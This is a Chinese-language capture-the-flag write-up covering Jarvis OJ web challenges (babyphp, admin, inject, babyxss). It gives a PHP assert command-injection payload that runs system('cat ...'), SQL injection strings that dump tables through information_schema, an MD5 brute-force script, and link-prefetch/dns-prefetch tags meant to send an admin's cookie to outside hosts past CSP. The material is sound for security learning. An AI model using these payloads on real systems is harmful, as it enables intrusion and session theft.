刷题平台+1
平台地址:https://www.jarvisoj.com/
babyphp
扫描一波发现git泄露
githack把源码下下来,得到几个php文件
index,php里除了html片段还有php,flag.php有flag但是不可读
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
assert("strops('$file', '..') === false") or die("Detected hacking attempt!");
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
因此我们的目的是把服务器中的flag.php读出来。
想办法把命令注入到php当中去,php中能够用 and 和 | 来执行多条命令,假如我们传入$page=','..')===false and system('cat templates/flag.php') and strop('
那么$file = templates/','..')===false and system('cat templates/flag.php') and strops('
assert语句就变成了assert("strops('templates/','..')===false and system('cat templates/flag.php') and strops('') === false")
这样,中间的system就单独借助assert执行了。
admin
dirsearch扫一波发现robots.txt,打开给出admin_s3cr3t.php
访问给了个假flag
cookie里有个admin=0,改成1即可
inject
首页只有一个flag{xxx},dirsearch依旧,发现有备份文件
源码如下:
<?php
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>
用到了desc显示查询结果,mysql中,对于
desc `1` `2`;
如果1这个表存在,那么整个语句是能够正常执行的,那么我们构造
flag` `union select 1--+
用limit把显示结果调换一下
那么对1这个位置注入
表名:
flag` `union select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1--+
列名,嗯。。。单引号好像被过滤了,那么把表名转为16进制再传
flag` `union select group_concat(column_name) from information_schema.columns where table_name=0x7365637265745f666c6167 limit 1,1--+
flag:
flag` `union select group_concat(flagUwillNeverKnow) from secret_flag limit 1,1--+
babyxss
首页说可以发消息给管理员
随便发一条试一下,verify用'0694'开头的字符串过不去,我估么着应该是少写了个md5,爆破一下即可
import hashlib
def func(md5_val):
for x in range(999999, 100000000):
md5_value=hashlib.md5(str(x).encode(encoding='utf-8')).hexdigest()
if md5_value[:4]==md5_val:
return str(x)
if __name__ == '__main__':
print(func('9e87'))
通过验证说管理员已经收到并且会查看
开始想到的是xss把管理员的cookie带出来了,用xss平台的payload发现啥信息也收不到,抓包发现是设置了CSP
没了解过,正好学习一下
CSP全称是内容安全策略,可以用于检测并削弱XSS的攻击性,它通过指定有效域——即浏览器认可的可执行脚本的有效来源——使服务器管理者有能力减少或消除XSS攻击所依赖的载体。
配置CSP涉及到添加 Content-Security-Policy
HTTP头部到一个页面,并配置相应的值,以控制用户代理(浏览器等)可以为该页面获取哪些资源。
指定策略格式如下:
Content-Security-Policy: policy
policy参数是一个包含了各种描述你的CSP策略指令的字符串。
常见的策略方案可参考:https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CSP
这里我们可以看到添加了两个策略:default-src 'self'
; script-src 'self'
,也就是只能加载同源脚本。
参考这位师傅的文章了解到CSP策略可以被绕过,比如对link标签的预加载功能处理不当。
Chrome下,可以使用如下标签发送cookie:
<link rel="prefetch" href="http://xss.pt/xxx">
firefox下可以将cookie作为子域名,用dns预解析的方式把cookie带出去:
<link rel="dns-prefetch" href="//[cookie].xxx.ceye.io">
不知道为啥不管用firefox还是chrome发过去啥反应没有。。。。。看了其他师傅好像这种情况挺多。。。那就放这吧先,看以后有没有机会搞清楚咋回事。